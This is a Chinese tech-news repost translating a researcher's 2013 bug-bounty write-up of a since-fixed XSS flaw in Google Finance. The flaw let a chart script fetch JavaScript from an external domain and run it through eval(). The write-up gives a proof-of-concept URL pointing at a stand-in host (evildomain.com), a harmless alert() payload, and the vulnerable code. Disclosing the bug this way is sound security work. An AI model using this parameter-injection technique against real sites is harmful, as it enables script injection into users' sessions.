在谷歌财经发现一个XSS漏洞,拿5千美元奖励

开发 项目管理
这个问题出现在Google Finance中(google.com/finance)。它能欺骗Javascript的走势图应用(源文件为/finance/f/sfe- opt.js),让其载入一个托管在外部域上的文件,然后通过eval()方法将该文件内容转换成Javascript代码并执行。

我们在6月13日发了一篇资讯, 说“Google调整漏洞奖励计划,单个漏洞***奖励7,500美元”。7月30日看到 Michele Spagnuolo 发的博文称“他在 Google Finance 上发现并提交了一个 XSS 漏洞,谷歌安全团队确认并修复了该漏洞。Michele 因此拿到了 5K 美元奖励。” 以下是 Michele 博文的译文。

这个问题出现在Google Finance中(google.com/finance)。它能欺骗Javascript的走势图应用(源文件为/finance/f/sfe- opt.js),让其载入一个托管在外部域上的文件,然后通过eval()方法将该文件内容转换成Javascript代码并执行。

这个过程不需要用户交互,只要点击一下URL就可以了。

复现步骤:

1)点击该URL(目前已修复):

https://www.google.com/finance?chdet=1214596800000&q=NASDAQ:INTC&ntsp=2&ntrssurl=https://evildomain.com/x.js.

文件x.js包含下列验证代码用来演示:

  1. alert(document.domain); 

该文件必须通过https来托管。

2)远程Javascript被执行。

工作原理

以下是 /finance/f/sfe-opt.js中的两个代码片段,它们引起了这个安全问题。

  1. c.push("ntsp="); 
  2. c.push(b); 
  3. if (b == Vl.jj || b == Vl.kj) a = a.xc[ii(a.S)], a.lj() || (c.push("&ntrssurl="), c.push(escape(a.Cc || ""))); 
  4. return c.join("") 

在上面这段代码中,URL参数,更确切的说是ntrssurl参数(用户RSS源的地址)被获取并进行了连接。

  1. Xi.prototype.send = function (a, b, c, d) { 
  2.     a = a || null; 
  3.     d = d || "_" + (Yi++).toString(36) + x().toString(36); 
  4.     n._callbacks_ || (n._callbacks_ = {}); 
  5.     var e = this.$s.Z(); 
  6.     if (a) 
  7.         for (var f in a) a.hasOwnProperty && !a.hasOwnProperty(f) || Fi(e, f, a[f]); 
  8.     b && (n._callbacks_[d] = Zi(d, b), Fi(e, this.Zs, "_callbacks_." + d)); 
  9.     b = Wi(e.toString(), { 
  10.         timeout: this.We, 
  11.         Ns: !0 
  12.     }); 
  13.     Si(b, null, $i(d, a, c), void 0); 
  14.     return { 
  15.         La: d, 
  16.         Du: b 
  17.     } 
  18. }; 

第二段代码负责在外部域中查询新闻源以将内容显示在走势图中。

它生成一个回调函数名,以字串 “?_CALLBACK_”结尾。函数Wi对URL中的ntrssurl参数中的域名执行xmlhttprequest操作。

然后,返回了一段简单的Javascript代码,并且通过eval()方法将其执行。

http://s2.51cto.com/wyfs01/M00/14/03/wKioJlIBrH-h6OtvAAEZKFDEOAg537.jpg

触发XSS漏洞的截图

callback 请求截图

有漏洞的代码片段

这个安全隐患很快就被修复了,我因此得到了5000美元的奖励。

非常感谢,Google安全小组!

原文链接:http://miki.it/blog/2013/7/30/xss-in-google-finance/

译文链接:http://blog.jobbole.com/44953/

责任编辑:陈四芳 来源: 伯乐在线
相关推荐

2021-02-07 00:05:27

谷歌漏洞网络安全

2021-03-15 09:50:01

漏洞网络安全网络攻击

2020-12-09 19:31:57

Chrome谷歌漏洞

2010-04-30 15:45:09

2022-09-09 18:37:56

漏洞赏金开源

2020-10-14 10:39:50

漏洞网络攻击网络安全

2020-10-09 07:49:17

黑客

2015-02-10 14:32:37

XSS漏洞XSS

2015-01-04 15:36:52

XSS漏洞XSS

2015-03-26 14:04:57

2022-01-26 07:47:22

黑客漏洞网络安全

2013-05-13 10:24:44

谷歌开发团队开发管理

2021-12-07 23:11:15

漏洞微软谷歌

2012-07-31 09:22:23

2022-09-01 13:48:01

漏洞奖励计划漏洞

2017-02-16 15:47:12

2017-12-29 18:37:35

支付宝大额红包逻辑漏洞

2010-06-11 17:08:05

2018-05-23 09:28:23

2024-09-10 10:04:47

点赞
收藏

51CTO技术栈公众号